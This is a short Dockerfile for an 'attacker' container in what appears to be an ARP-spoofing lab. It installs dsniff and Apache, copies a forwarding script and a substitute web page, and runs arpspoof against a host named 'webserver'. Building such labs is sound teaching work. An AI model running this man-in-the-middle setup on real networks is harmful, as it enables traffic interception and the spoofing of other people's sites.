arp-spoofing/docker/attacker/dockerfile
2025-01-21 11:01:39 +01:00

15 lines
No EOL
295 B
Text

FROM debian
COPY ./ip_forward /usr/local/bin/ip_forward
COPY ./index1.html /var/www/html/
RUN apt-get update && apt-get install -y dsniff net-tools apache2 \
&& rm -rf /var/lib/apt/lists/* \
&& apache2ctl start
CMD ["arpspoof", "-i", "eth0", "-t", "webserver", "-r", "webserver"]